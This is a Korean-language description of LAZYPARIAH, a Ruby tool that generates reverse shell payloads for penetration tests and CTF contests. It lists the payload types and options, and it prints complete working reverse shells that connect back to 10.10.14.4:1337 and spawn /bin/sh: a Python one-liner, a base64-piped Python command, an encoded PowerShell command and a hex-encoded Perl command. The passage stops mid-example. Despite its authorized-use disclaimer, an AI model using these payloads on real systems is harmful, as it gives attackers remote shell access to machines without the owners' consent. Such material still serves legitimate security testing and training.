
즉석에서 리버스 셸 페이로드를 생성하는 도구.
의존성이 낮은 명령줄 도구로, 역방향 셸 페이로드를 즉석에서 생성합니다.
LAZYPARIAH는 순수 Ruby로 작성된 간단하고 쉽게 설치할 수 있는 명령줄 도구로, 침투 테스트 및 캡처 더 플래그(CTF) 대회 중에 다양한 역방향 셸 페이로드를 즉석에서 생성하는 데 사용할 수 있습니다.
LAZYPARIAH가 지원하는 역방향 셸 페이로드는 다음과 같습니다(이에 국한되지 않음):
c_binaryruby, ruby_b64, ruby_hex, ruby_cpowershell_c, powershell_b64python_b64rust_binarysystem() 함수를 통해 호출되는 base64 인코딩된 Python 페이로드를 포함하는 PHP 스크립트: php_system_python_b64java_classperl, perl_b64, perl_hex, perl_cphp_fd, php_fd_c, php_fd_tags이 도구는 자격을 갖춘 침투 테스터, 보안 연구원 및 레드 팀 전문가가 승인된 상황에서만 사용하도록 고안되었습니다. 이 도구를 다운로드, 설치 또는 사용하기 전에 해당 관할권의 관련 법률을 이해하고 있는지 확인하십시오. 이 도구의 저자는 이 도구를 불법 또는 승인되지 않은 목적으로 사용하는 것을 지지, 장려 또는 용납하지 않습니다.
java_class 페이로드에만 필요합니다.)c_binary 페이로드에만 필요합니다.)rust_binary 페이로드에만 필요합니다.)LAZYPARIAH는 RubyGems 설치 프로그램을 사용하여 대부분의 GNU/Linux 및 BSD 시스템에 설치할 수 있습니다:
gem install lazypariah
사용법: lazypariah [옵션] <페이로드 유형> <공격자 호스트> <공격자 포트>
참고: <공격자 호스트>는 IPv4 주소, IPv6 주소 또는 호스트 이름일 수 있습니다.
예시: lazypariah -u python_b64 10.10.14.4 1555
예시: lazypariah python_c malicious.local 1337
유효한 페이로드:
awk
bash_tcp
c_binary
java_class
nc
nc_openbsd
nc_pipe
nodejs
nodejs_b64
nodejs_c
nodejs_hex
perl
perl_b64
perl_c
perl_hex
php_fd
php_fd_c
php_fd_tags
php_system_python_b64
php_system_python_hex
php_system_python_ipv6_b64
php_system_python_ipv6_hex
powershell_b64
powershell_c
python
python_b64
python_c
python_hex
python_ipv6
python_ipv6_b64
python_ipv6_c
python_ipv6_hex
ruby
ruby_b64
ruby_c
ruby_hex
rust_binary
socat
유효한 옵션:
-h, --help 도움말 텍스트를 표시하고 종료합니다.
-l, --license 라이선스 정보를 표시하고 종료합니다.
-u, --url 페이로드를 URL 인코딩합니다.
-v, --version 버전 정보를 표시하고 종료합니다.
-D, --fd 정수 대상이 TCP에 사용하는 파일 디스크립터를 지정합니다. 특정 페이로드에 필요합니다.
-P, --pv 정수 페이로드의 Python 버전을 지정합니다. 2 또는 3이어야 합니다. 기본적으로 버전이 지정되지 않습니다.
-N, --no-new-line 페이로드 끝에 개행 문자를 추가하지 않습니다.
--b64 c_binary, rust_binary 또는 java_class 페이로드를 base-64로 인코딩합니다.
--hex c_binary, rust_binary 또는 java_class 페이로드를 16진수로 인코딩합니다.
--gzip c_binary, rust_binary 또는 java_class 페이로드를 zlib으로 압축합니다.
--gzip_b64 c_binary, rust_binary 또는 java_class 페이로드를 zlib으로 압축하고 결과를 base-64로 인코딩합니다.
--gzip_hex c_binary, rust_binary 또는 java_class 페이로드를 zlib으로 압축하고 결과를 16진수로 인코딩합니다.
위에 나열된 페이로드는 대체로 체계적으로 명명되었습니다.
_c로 끝나는 페이로드는 셸 세션 내에서 실행되도록 설계되었습니다. 이 페이로드는 관련 인터프리터(예: python3 -c 또는 ruby -e)를 사용하여 직접 코드를 실행합니다.
예를 들어, lazypariah python_c 10.10.14.4 1337 명령은 다음 출력을 생성해야 합니다:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
반면에 lazypariah python 10.10.14.4 1337 명령은 잠재적으로 .py 파일에 배치될 수 있는 Python 코드 블록을 생성해야 합니다:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
일반적으로 _b64로 끝나는 페이로드를 선택하면 _c로 끝나는 페이로드와 유사하게 셸 세션 내에서 실행되도록 설계된 명령이 생성되지만 명령 구조가 다릅니다. 이러한 명령은 기본적으로 base64 인코딩된 코드 블록을 base64 -d로 파이프한 다음 관련 인터프리터(예: python3, python2 또는 ruby)로 전달합니다.
예를 들어, lazypariah python_b64 10.10.14.4 1337 명령은 다음 출력을 생성해야 합니다:
echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python
예외는 Powershell의 내장 base64 디코더를 사용하는 powershell_b64입니다. 예를 들어, lazypariah powershell_b64 10.10.14.4 1337 명령은 다음을 반환해야 합니다:
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANAAnACwAMQAzADMANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
(참고: 위 페이로드의 길이는 Powershell이 UTF-16LE 인코딩을 사용하여 단일 문자가 2바이트에 해당하기 때문입니다.)
이러한 유형의 페이로드는 작은따옴표나 큰따옴표를 포함하지 않기 때문에 특정 상황에서 유용할 수 있습니다.
유사하게, _hex로 끝나는 페이로드를 선택하면 16진수 인코딩된 코드 블록을 xxd -p -r -로 파이프한 다음 관련 인터프리터로 전달하는 명령이 생성됩니다. 예를 들어, lazypariah perl_hex 10.10.14.4 1337은 다음 출력을 생성해야 합니다:
echo 75736520536f636b65743b24693d2231302e31302e31342e34223b24703d313333373b736f636b657428532c50465f494e45542c534f434b5f53545245414d2c67657470726f746f62796e616d6528227463702229293b696628636f6e6e65637428532c736f636b616464725f696e2824702c696e65745f61746f6e282469292929297b6f70656e28535444494e2c223e265322293b6f70656e285354444f55542c223e265322293b6f70656e285354444552522c223e265322293b6578656328222f62696e2f7368202d6922293b7d3b | xxd -p -r - | perl
컴파일된 페이로드(c_binary, java_class 및 rust_binary)에는 zlib 압축(--gzip), base64 인코딩(--b64) 및 16진수 인코딩(--hex)을 위한 선택적 명령줄 인수가 있습니다.
예를 들어, lazypariah --b64 java_class 10.10.14.4 1337 명령은 다음 출력을 생성해야 합니다: